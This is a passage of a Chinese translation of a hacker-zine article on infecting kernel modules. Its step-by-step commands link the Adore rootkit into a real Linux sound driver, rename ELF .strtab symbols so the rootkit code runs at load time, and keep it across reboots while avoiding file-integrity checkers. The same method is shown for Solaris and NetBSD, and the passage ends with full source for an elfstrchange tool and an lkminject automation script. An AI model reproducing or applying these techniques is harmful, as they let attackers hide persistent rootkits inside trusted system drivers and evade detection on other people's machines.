----[ 4.1 - 最简单的 LKM 感染
1) 我们必须对adore.c稍稍做点修改
* 在 init_module() 函数里加入对 dumm_module() 的调用
* 在 cleanup_module() 模块函数里加入对 dummcle_module() 的调用
* 把 init_module 函数名改成 evil_module
* 把 cleanup_module 函数名改成 evclean_module
(译者注:注意始终保持函数名长度和原名称的一致性)
2) 用 make 命令编译 Adore
3) 把 adore.o 和 i810_audio.o 链接
ld -r i810_audio.o adore.o -o evil.o
如果将要被插入的模块已经加载了,必须先卸载它:
rmmod i810_audio
mv evil.o i810_audio.o
4) 修改 .strtab section
替换
init_module ------> dumm_module
evil_module ------> init_module (将会调用 dumm_module)
cleanup_module ------> evclean_module
evclean_module ------> cleanup_module (将会调用 evclean_module)
$ ./elfstrchange i810_audio.o init_module dumm_module
[+] Symbol init_module located at 0xa2db
[+] .strtab entry overwriten with dumm_module
$ ./elfstrchange i810_audio.o evil_module init_module
[+] Symbol evil_module located at 0xa4d1
[+] .strtab entry overwriten with init_module
$ ./elfstrchange i810_audio.o cleanup_module dummcle_module
[+] Symbol cleanup_module located at 0xa169
[+] .strtab entry overwriten with dummcle_module
$ ./elfstrchange i810_audio.o evclean_module cleanup_module
[+] Symbol evclean_module located at 0xa421
[+] .strtab entry overwriten with cleanup_module
5) 加载并且测试模块
# insmod i810_audio
# ./ava
Usage: ./ava {h,u,r,R,i,v,U} [file, PID or dummy (for U)]
h hide file
u unhide file
r execute as root
R remove PID forever
U uninstall adore
i make PID invisible
v make PID visible
# ps
PID TTY TIME CMD
2004 pts/3 00:00:00 bash
2083 pts/3 00:00:00 ps
# ./ava i 2004
Checking for adore 0.12 or higher ...
Adore 0.53 installed. Good luck.
Made PID 2004 invisible.
root@accelerator:/home/truff/adore# ps
PID TTY TIME CMD
#
完美吧 :) 为了方便懒人干活,我写了一个简单的shell脚本(章节 9.2)做这些工作。
----[ 4.2 - 我还会回来的 (重启之后)
当模块加载时,为了以后进一步的需要,我们有两种选择:
* 用感染后的模块替换 /lib/modules/ 里真正的模块。
这可以保证重启后我们的后门能够被重新加载。但是,这也会被像 Tripwire[7] 这样
的HIDS(Host Intrusion Detection System 文件入侵监测系统)发现。不过不要太担
心,内核模块既不是可执行文件也不是一个suid文件,如果管理员配置的HIDS规则
不是太变态,还是查不到我们头上的。
* 不去动那些放在 /lib/modules 下真正的内核模块,同时删除被感染的模块。这样,即
使HIDS监测文件的修改情况,它们也只能无功而返。
--[ 5 - 关于其他的操作系统
----[ 5.1 - Solaris
我通过[8]里的一个基本内核模块来讲解这个例子。Solaris 内核模块使用了三个基本函数:
- _init 模块初始化的时候调用
- _fini 模块卸载时调用
- _info 当用户使用modinfo命令时,负责输出模块信息
$ uname -srp
SunOS 5.7 sparc
$ cat mod.c
#include <sys/ddi.h>
#include <sys/sunddi.h>
#include <sys/modctl.h>
extern struct mod_ops mod_miscops;
static struct modlmisc modlmisc = {
&mod_miscops,
"Real Loadable Kernel Module",
};
static struct modlinkage modlinkage = {
MODREV_1,
(void *)&modlmisc,
NULL
};
int _init(void)
{
int i;
if ((i = mod_install(&modlinkage)) != 0)
cmn_err(CE_NOTE,"Could not install module ");
else
cmn_err(CE_NOTE,"mod: successfully installed");
return i;
}
int _info(struct modinfo *modinfop)
{
return (mod_info(&modlinkage, modinfop));
}
int _fini(void)
{
int i;
if ((i = mod_remove(&modlinkage)) != 0)
cmn_err(CE_NOTE,"Could not remove module ");
else
cmn_err(CE_NOTE,"mod: successfully removed");
return i;
}
$ gcc -m64 -D_KERNEL -DSRV4 -DSOL2 -c mod.c
$ ld -r -o mod mod.o
$ file mod
mod: ELF 64-bit MSB relocatable SPARCV9 Version 1
正如我们在linux例子里看到的,我们要插入的代码里必须包含对真正 init 函数的调
用,这样模块才能和原来一样正常工作。不过,我们要面对一个问题:如果我们在模块
链接之后再修改 .strtab section ,动态加载程序无法找到 _dumm() 函数,模块自然
也无法被正常加载。在这个问题上我没有太深入的研究,但是我觉得Solaris的动态加载
程序不会在模块里查找那些没有被定义的符号。所以问题解决了:我们只要在链接之前把
.strtab入口的 _init 重命名为 _dumm 就可以了。
$ readelf -S mod
有10个section 的header(section headers),它们的偏移地址从 0x940 开始。
Section Headers:
[Nr] Name Type Address Offset
Size EntSize Flags Link Info Align
[ 0] NULL 0000000000000000 00000000
0000000000000000 0000000000000000 0 0 0
[ 1] .text PROGBITS 0000000000000000 00000040
0000000000000188 0000000000000000 AX 0 0 4
[ 2] .rodata PROGBITS 0000000000000000 000001c8
000000000000009b 0000000000000000 A 0 0 8
[ 3] .data PROGBITS 0000000000000000 00000268
0000000000000050 0000000000000000 WA 0 0 8
[ 4] .symtab SYMTAB 0000000000000000 000002b8
0000000000000210 0000000000000018 5 e 8
[ 5] .strtab STRTAB 0000000000000000 000004c8
0000000000000065 0000000000000000 0 0 1
[ 6] .comment PROGBITS 0000000000000000 0000052d
0000000000000035 0000000000000000 0 0 1
[ 7] .shstrtab STRTAB 0000000000000000 00000562
000000000000004e 0000000000000000 0 0 1
[ 8] .rela.text RELA 0000000000000000 000005b0
0000000000000348 0000000000000018 4 1 8
[ 9] .rela.data RELA 0000000000000000 000008f8
0000000000000048 0000000000000018 4 3 8
Flag 注释:
W (write写), A (alloc分配), X (execute执行), M (merge合并), S (strings字符串)
I (info信息), L (link order链接顺序), G (group组), x (unknown未知)
O (extra OS processing required需要额外的系统处理), o (OS specific制定操作系统)
p (processor specific指定处理器)
.strtab section 的起始偏移地址为 0x4c8,大小是 64 位。下面我们用vi 和 xxd 作为我们的
16位编辑器修改 .strtab section 。用 vi mod 这个命令在vi里打开模块。然后输入 :%!xxd 把
模块转换成16进制。你会看到下面这些字符:
00004c0: 0000 0000 0000 0000 006d 6f64 006d 6f64 .........mod.mod
00004d0: 2e63 006d 6f64 6c69 6e6b 6167 6500 6d6f .c.modlinkage.mo
00004e0: 646c 6d69 7363 006d 6f64 5f6d 6973 636f dlmisc.mod_misco
00004f0: 7073 005f 696e 666f 006d 6f64 5f69 6e73 ps._info.mod_ins
0000500: 7461 6c6c 005f 696e 6974 006d 6f64 5f69 tall._init.mod_i
^^^^^^^^^
我们用 _dumm 替换 _init,只修改四个字节。
00004c0: 0000 0000 0000 0000 006d 6f64 006d 6f64 .........mod.mod
00004d0: 2e63 006d 6f64 6c69 6e6b 6167 6500 6d6f .c.modlinkage.mo
00004e0: 646c 6d69 7363 006d 6f64 5f6d 6973 636f dlmisc.mod_misco
00004f0: 7073 005f 696e 666f 006d 6f64 5f69 6e73 ps._info.mod_ins
0000500: 7461 6c6c 005f 6475 6d6d 006d 6f64 5f69 tall._init.mod_i
^^^^^^^^^ ^^^^
^^^^
(译者注:这里似乎应该是dumm,
可能是笔误)
用 :%!xxd -r 这个命令把模块从16进制转换回去,保存退出。然后我们来证实一下我们
的修改是否成功。
$ objdump -t mod
mod: file format elf64-sparc
SYMBOL TABLE:
0000000000000000 l df *ABS* 0000000000000000 mod
0000000000000000 l d .text 0000000000000000
0000000000000000 l d .rodata 0000000000000000
0000000000000000 l d .data 0000000000000000
0000000000000000 l d *ABS* 0000000000000000
0000000000000000 l d *ABS* 0000000000000000
0000000000000000 l d .comment 0000000000000000
0000000000000000 l d *ABS* 0000000000000000
0000000000000000 l d *ABS* 0000000000000000
0000000000000000 l d *ABS* 0000000000000000
0000000000000000 l df *ABS* 0000000000000000 mod.c
0000000000000010 l O .data 0000000000000040 modlinkage
0000000000000000 l O .data 0000000000000010 modlmisc
0000000000000000 *UND* 0000000000000000 mod_miscops
00000000000000a4 g F .text 0000000000000040 _info
0000000000000000 *UND* 0000000000000000 mod_install
0000000000000000 g F .text 0000000000000188 _dumm
0000000000000000 *UND* 0000000000000000 mod_info
0000000000000000 *UND* 0000000000000000 mod_remove
00000000000000e4 g F .text 0000000000000188 _fini
0000000000000000 *UND* 0000000000000000 cmn_err
可以看到 _init 已经被 _dumm 替换了。现在我们可以直接插入一个名为 _init
的函数了。
$ cat evil.c
int _init(void)
{
_dumm ();
cmn_err(1,"evil: successfully installed");
return 0;
}
$ gcc -m64 -D_KERNEL -DSRV4 -DSOL2 -c inject.c
$ ld -r -o inject inject.o
用ld命令插入模块:
$ ld -r -o evil mod inject
加载模块:
# modload evil
# tail -f /var/adm/messages
Jul 15 10:58:33 luna unix: NOTICE: mod: successfully installed
Jul 15 10:58:33 luna unix: NOTICE: evil: successfully installed
利用 _fini 函数把一个完整模块插入其他模块的操作和上面的一样。
----[ 5.2 - *BSD
------[ 5.2.1 - FreeBSD
% uname -srm
FreeBSD 4.8-STABLE i386
% file /modules/daemon_saver.ko
daemon_saver.ko: ELF 32-bit LSB shared object, Intel 80386, version 1
(FreeBSD), not stripped
正如我们看到的,FreeBSD 内核模块是共享object的,所以我们无法使用ld命令把恶意
代码和模块链接到一起。不仅如此,FreeBSD 加载模块的机制和 Linux 以及 Solaris 都不
一样。看看 /usr/src/sys/kern/kern_linker.c 你就明白了。init/cleanup 的函数名可以
五花八门。初始化时,加载程序直接在 .data section 的一个结构体内找到 init 函数的
地址,而不是靠函数名判断。因此上面的hack .strtab 的方法不再适用了。
------[ 5.2.2 - NetBSD
$ file nvidia.o
nvidia.o: ELF 32-bit LSB relocatable, Intel 80386, version 1
(SYSV), not stripped
NetBSD 内核模块是可以重定位的 ELF object 文件,可以插入模块。当使用 modload 命
令加载内核模块的时候,加载程序把模块和内核链接起来,同时执行模块入口处的代码(代
码放在ELF header里)。
链接以后,我们可以修改模块入口。不过没有必要这样做。modload 命令提供了"-e"参
数,方便我们设置哪个符号为入口点。
下面是一个例子,我们要感染的模块:
$ cat gentil_lkm.c
#include <sys/cdefs.h>
#include <sys/param.h>
#include <sys/ioctl.h>
#include <sys/systm.h>
#include <sys/conf.h>
#include <sys/lkm.h>
MOD_MISC("gentil");
int gentil_lkmentry(struct lkm_table *, int, int);
int gentil_lkmload(struct lkm_table *, int);
int gentil_lkmunload(struct lkm_table *, int);
int gentil_lkmstat(struct lkm_table *, int);
int gentil_lkmentry(struct lkm_table *lkmt, int cmd, int ver)
{
DISPATCH(lkmt, cmd, ver, gentil_lkmload, gentil_lkmunload,
gentil_lkmstat);
}
int gentil_lkmload(struct lkm_table *lkmt, int cmd)
{
printf("gentil: Hello, world! ");
return (0);
}
int gentil_lkmunload(struct lkm_table *lkmt, int cmd)
{
printf("gentil: Goodbye, world! ");
return (0);
}
int gentil_lkmstat(struct lkm_table *lkmt, int cmd)
{
printf("gentil: How you doin', world? ");
return (0);
}
下面这部分是要插入的代码:
$ cat evil_lkm.c
#include <sys/cdefs.h>
#include <sys/param.h>
#include <sys/ioctl.h>
#include <sys/systm.h>
#include <sys/conf.h>
#include <sys/lkm.h>
int gentil_lkmentry(struct lkm_table *, int, int);
int
inject_entry(struct lkm_table *lkmt, int cmd, int ver)
{
switch(cmd) {
case LKM_E_LOAD:
printf("evil: in place ");
break;
case LKM_E_UNLOAD:
printf("evil: i'll be back! ");
break;
case LKM_E_STAT:
printf("evil: report in progress ");
break;
default:
printf("edit: unknown command ");
break;
}
return gentil_lkmentry(lkmt, cmd, ver);
}
分别编译了 gentil 和 evil 之后,我们把它们链接到一起:
$ ld -r -o evil.o gentil.o inject.o
$ mv evil.o gentil.o
# modload -e evil_entry gentil.o
Module loaded as ID 2
# modstat
Type Id Offset Loadaddr Size Info Rev Module Name
DEV 0 -1/108 d3ed3000 0004 d3ed3440 1 mmr
DEV 1 -1/180 d3fa6000 03e0 d4090100 1 nvidia
MISC 2 0 e45b9000 0004 e45b9254 1 gentil
# modunload -n gentil
# dmesg | tail
evil: in place
gentil: Hello, world!
evil: report in progress
gentil: How you doin', world?
evil: i'll be back!
gentil: Goodbye, world!
好了,一切如此完美 :)
------[ 5.2.3 - OpenBSD
OpenBSD 不使用 x86 构架的 ELF 文件,所以这个技术没有用武之地。我没有在那些使
用ELF的平台上测试过,但是我觉得它们看起来和NetBSD差不多,上面的hack技术应该
也适用。如果你在使用ELF的 OpenBSD 平台上成功了,告诉我一声。
--[ 6 - 结论
这篇文章补充了一些在内核中集成代码的方法。我提出这个技术是因为你只要做很少的处
理就可以实现代码的插入,的确很有趣。
好好玩吧 :)
--[ 7 - 感谢
我要感谢 mycroft, OUAH, aki 和 afrique 给我的意见和建议。非常感谢 klem 教会我
逆向工程。
感谢 FXKennedy 在 NetBSD 方面给我的帮助。
A big kiss to Carla for being wonderfull. (译者注:这句话我就不翻了^_^)
最后感谢所有 #root 的人们, `spud, hotfyre, funka, jaia,climax,
redoktober ...
--[ 8 - 参考资料
[1] Weakening the Linux Kernel by Plaguez
http://www.phrack.org/show.php?p=52&a=18
[2] The Adore rootkit by stealth
http://stealth.7350.org/rootkits/
[3] Runtime kernel kmem patching by Silvio Cesare
http://vx.netlux.org/lib/vsc07.html
[4] Static Kernel Patching by jbtzhm
http://www.phrack.org/show.php?p=60&a=8
[5] Tool interface specification on ELF
http://segfault.net/~scut/cpu/generic/TIS-ELF_v1.2.pdf
[6] Modutils for 2.4.x kernels
ftp://ftp.kernel.org/pub/linux/utils/kernel/modutils/v2.4
[7] Tripwire
http://www.tripwire.org
[8] Solaris Loadable Kernel Modules by Plasmoid
http://www.thc.org/papers/slkm-1.0.html
--[ 9 - 源代码
----[ 9.1 - ElfStrChange
/*
* elfstrchange.c by truff <
truff@projet7.org>
* Change the value of a symbol name in the .strtab section
*
* Usage: elfstrchange elf_object sym_name sym_name_replaced
*
*/
#include <stdlib.h>
#include <stdio.h>
#include <elf.h>
#define FATAL(X) { perror (X);exit (EXIT_FAILURE); }
int ElfGetSectionName (FILE *fd, Elf32_Word sh_name,
Elf32_Shdr *shstrtable, char *res, size_t len);
Elf32_Off ElfGetSymbolByName (FILE *fd, Elf32_Shdr *symtab,
Elf32_Shdr *strtab, char *name, Elf32_Sym *sym);
Elf32_Off ElfGetSymbolName (FILE *fd, Elf32_Word sym_name,
Elf32_Shdr *strtable, char *res, size_t len);
int main (int argc, char **argv)
{
int i;
int len = 0;
char *string;
FILE *fd;
Elf32_Ehdr hdr;
Elf32_Shdr symtab, strtab;
Elf32_Sym sym;
Elf32_Off symoffset;
fd = fopen (argv[1], "r+");
if (fd == NULL)
FATAL ("fopen");
if (fread (&hdr, sizeof (Elf32_Ehdr), 1, fd) < 1)
FATAL ("Elf header corrupted");
if (ElfGetSectionByName (fd, &hdr, ".symtab", &symtab) == -1)
{
fprintf (stderr, "Can't get .symtab section ");
exit (EXIT_FAILURE);
}
if (ElfGetSectionByName (fd, &hdr, ".strtab", &strtab) == -1)
{
fprintf (stderr, "Can't get .strtab section ");
exit (EXIT_FAILURE);
}
symoffset = ElfGetSymbolByName (fd, &symtab, &strtab, argv[2], &sym);
if (symoffset == -1)
{
fprintf (stderr, "Symbol %s not found ", argv[2]);
exit (EXIT_FAILURE);
}
printf ("[+] Symbol %s located at 0x%x ", argv[2], symoffset);
if (fseek (fd, symoffset, SEEK_SET) == -1)
FATAL ("fseek");
if (fwrite (argv[3], 1, strlen(argv[3]), fd) < strlen (argv[3]))
FATAL ("fwrite");
printf ("[+] .strtab entry overwriten with %s ", argv[3]);
fclose (fd);
return EXIT_SUCCESS;
}
Elf32_Off ElfGetSymbolByName (FILE *fd, Elf32_Shdr *symtab,
Elf32_Shdr *strtab, char *name, Elf32_Sym *sym)
{
int i;
char symname[255];
Elf32_Off offset;
for (i=0; i<(symtab->sh_size/symtab->sh_entsize); i++)
{
if (fseek (fd, symtab->sh_offset + (i * symtab->sh_entsize),
SEEK_SET) == -1)
FATAL ("fseek");
if (fread (sym, sizeof (Elf32_Sym), 1, fd) < 1)
FATAL ("Symtab corrupted");
memset (symname, 0, sizeof (symname));
offset = ElfGetSymbolName (fd, sym->st_name,
strtab, symname, sizeof (symname));
if (!strcmp (symname, name))
return offset;
}
return -1;
}
int ElfGetSectionByIndex (FILE *fd, Elf32_Ehdr *ehdr, Elf32_Half index,
Elf32_Shdr *shdr)
{
if (fseek (fd, ehdr->e_shoff + (index * ehdr->e_shentsize),
SEEK_SET) == -1)
FATAL ("fseek");
if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1)
FATAL ("Sections header corrupted");
return 0;
}
int ElfGetSectionByName (FILE *fd, Elf32_Ehdr *ehdr, char *section,
Elf32_Shdr *shdr)
{
int i;
char name[255];
Elf32_Shdr shstrtable;
/*
* Get the section header string table
*/
ElfGetSectionByIndex (fd, ehdr, ehdr->e_shstrndx, &shstrtable);
memset (name, 0, sizeof (name));
for (i=0; i<ehdr->e_shnum; i++)
{
if (fseek (fd, ehdr->e_shoff + (i * ehdr->e_shentsize),
SEEK_SET) == -1)
FATAL ("fseek");
if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1)
FATAL ("Sections header corrupted");
ElfGetSectionName (fd, shdr->sh_name, &shstrtable,
name, sizeof (name));
if (!strcmp (name, section))
{
return 0;
}
}
return -1;
}
int ElfGetSectionName (FILE *fd, Elf32_Word sh_name,
Elf32_Shdr *shstrtable, char *res, size_t len)
{
size_t i = 0;
if (fseek (fd, shstrtable->sh_offset + sh_name, SEEK_SET) == -1)
FATAL ("fseek");
while ((i < len) || *res == '')
{
*res = fgetc (fd);
i++;
res++;
}
return 0;
}
Elf32_Off ElfGetSymbolName (FILE *fd, Elf32_Word sym_name,
Elf32_Shdr *strtable, char *res, size_t len)
{
size_t i = 0;
if (fseek (fd, strtable->sh_offset + sym_name, SEEK_SET) == -1)
FATAL ("fseek");
while ((i < len) || *res == '')
{
*res = fgetc (fd);
i++;
res++;
}
return (strtable->sh_offset + sym_name);
}
/* EOF */
----] 9.2 Lkminject
#!/bin/sh
#
# lkminject by truff (
truff@projet7.org)
#
# Injects a Linux lkm into another one.
#
# Usage:
# ./lkminfect.sh original_lkm.o evil_lkm.c
#
# Notes:
# You have to modify evil_lkm.c as explained bellow:
# In the init_module code, you have to insert this line, just after
# variables init:
# dumm_module ();
#
# In the cleanup_module code, you have to insert this line, just after
# variables init:
# dummcle_module ();
#
#
http://www.projet7.org - Security Researchs -
###########################################################################
sed -e s/init_module/evil_module/ $2 > tmp
mv tmp $2
sed -e s/cleanup_module/evclean_module/ $2 > tmp
mv tmp $2
# Replace the following line with the compilation line for your evil lkm
# if needed.
make
ld -r $1 $(basename $2 .c).o -o evil.o
.../elfstrchange evil.o init_module dumm_module
.../elfstrchange evil.o evil_module init_module
.../elfstrchange evil.o cleanup_module dummcle_module
.../elfstrchange evil.o evclean_module cleanup_module
mv evil.o $1
rm elfstrchange
|=[ EOF ]=---------------------------------------------------------------=|